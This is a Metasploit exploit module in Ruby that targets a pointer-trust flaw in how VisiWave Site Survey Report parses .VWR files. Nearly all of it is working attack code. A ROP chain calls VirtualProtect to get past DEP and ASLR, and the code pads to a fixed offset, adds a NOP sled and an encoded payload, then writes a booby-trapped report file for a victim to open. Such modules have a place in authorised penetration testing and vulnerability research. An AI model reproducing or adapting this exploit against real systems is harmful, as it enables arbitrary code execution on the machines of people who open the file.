VisiWave – ‘.VWR’ File Parsing Trusted Pointer (Metasploit)
## # $Id: visiwave_vwr_type.rb 12716 2011-05-25 13:57:12Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'VisiWave VWR File Parsing Vulnerability', 'Description' => %q{ This module exploits a vulnerability found in VisiWave's Site Survey Report application. When processing .VWR files, VisiWaveReport.exe attempts to match a valid pointer based on the 'Type' property (valid ones include 'Properties', 'TitlePage', 'Details', 'Graph', 'Table', 'Text', 'Image'), but if a match isn't found, the function that's supposed to handle this routine ends up returning the input as a pointer, and later used in a CALL DWORD PTR [EDX+10] instruction. This allows attackers to overwrite it with any arbitrary value, and results code execution. A patch is available at visiwave.com; the fix is done by XORing the return value as null if no match is found, and then it is validated before use. NOTE: During installation, the application will register two file handle's, VWS and VWR and allows a victim user to 'double click' the malicious VWR file and execute code. This module was also built to bypass ASLR and DEP. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me', # original discovery & msf exploit 'TecR0c' # msf exploit ], 'Version' => '$Revision: 12716 $', 'References' => [ [ 'OSVDB', '72464'], [ 'URL', 'http://www.visiwave.com/blog/index.php?/archives/4-Version-2.1.9-Released.html' ], [ 'URL', 'http://www.stratsec.net/Research/Advisories/VisiWave-Site-Survey-Report-Trusted-Pointer-%28SS-20'], ], 'Payload' => { 'Space' => 2000, 'BadChars' => "\x00\x0a\x0d", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3/Windows 7 SP0', { 'Offset' => 3981, # offset to rop gadgets 'Pointer' => 0x007AF938, # POP R32; POP R32; POP R32; ADD ESP 50; RETN ("magic" pointer) } ], ], 'Privileged' => false, 'DisclosureDate' => 'May 20 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.vwr']), ], self.class) end def exploit # Allowing nulls in our rop chain is like giving gold to midas. # instructions taken from the applications non aslr modules # libcurl.dll, VisiWaveReport.exe and blah blah rop_gadgets = [ 0x1001AFBD, # INC EBP; PUSH ESP; POP EDI; POP ESI; POP EBP; POP EBX; RET 0xc0fff333, # junk 0xc0fff333, # junk 0x000004cf, # lwSize 1231 bytes 0x100017DD, # POP ECX; RETN 0x10037a60, # Writeable address from .data of libcurl.dll 0x10011104, # POP EDX; RETN 0x00000040, # RWX for VirtualProtect() 0x10026E4D, # MOV EAX,EDI # POP EDI # RETN 0x10002ac6, # RETN 0x10022641, # ADD EAX, 20; RETN 0x10022641, # ADD EAX, 20; RETN 0x10022641, # ADD EAX, 20; RETN 0x10022641, # ADD EAX, 20; RETN 0x10022641, # ADD EAX, 20; RETN 0x10022641, # ADD EAX, 20; RETN 0x004048B1, # XCHG EAX,EBP 0x1001BD3F, # POP EAX; RETN 0x10032048, # IAT Address - constant pointer to VirtualProtect() 0x1000FA4A, # MOV EAX,DWORD PTR DS:[EAX]; RETN 0x00657fd7, # XCHG EAX,ESI; RETN 0x1000af40, # PUSHAD; RET ].pack("V*") # grab the pointer to our buffer pointer = [target["Pointer"]].pack("V") sploit = pointer # begin life in EDX sploit << rand_text_alphanumeric(target["Offset"]) # massive offset sploit << rop_gadgets # rop chain sploit << make_nops(300) # safe landing sploit << payload.encoded # profit! vwr_data = "FileType: SSREPORT\r\n" vwr_data << "Product: VisiWave Site Survey, 1.6.5 Beta\r\n" vwr_data << "FileVersion: 10\r\n" vwr_data << "Item: Global Properties\r\n" vwr_data << "Checked: 1\r\n" vwr_data << "Type: #{sploit}\r\n" vwr_data << "SurveyFile: C:\Program Files\VisiWave Site Survey\Samples\SampleData.vws\r\n" vwr_data << "FloorPlanImageReport: C:\WINDOWS\Web\bullet.gif\r\n" vwr_data << "DefaultOrientation: 0\r\n" vwr_data << "Header:\r\n" vwr_data << "Footer:\r\n" vwr_data << "LeftMargin: 100\r\n" vwr_data << "RightMargin: 100\r\n" vwr_data << "TopMargin: 50\r\n" vwr_data << "BottomMargin: 50\r\n" vwr_data << "Item: #{rand_text_alpha(3)}\r\n" vwr_data << "Checked: 1\r\n" print_status("Creating '#{datastore['FILENAME']}'...") file_create(vwr_data) end end |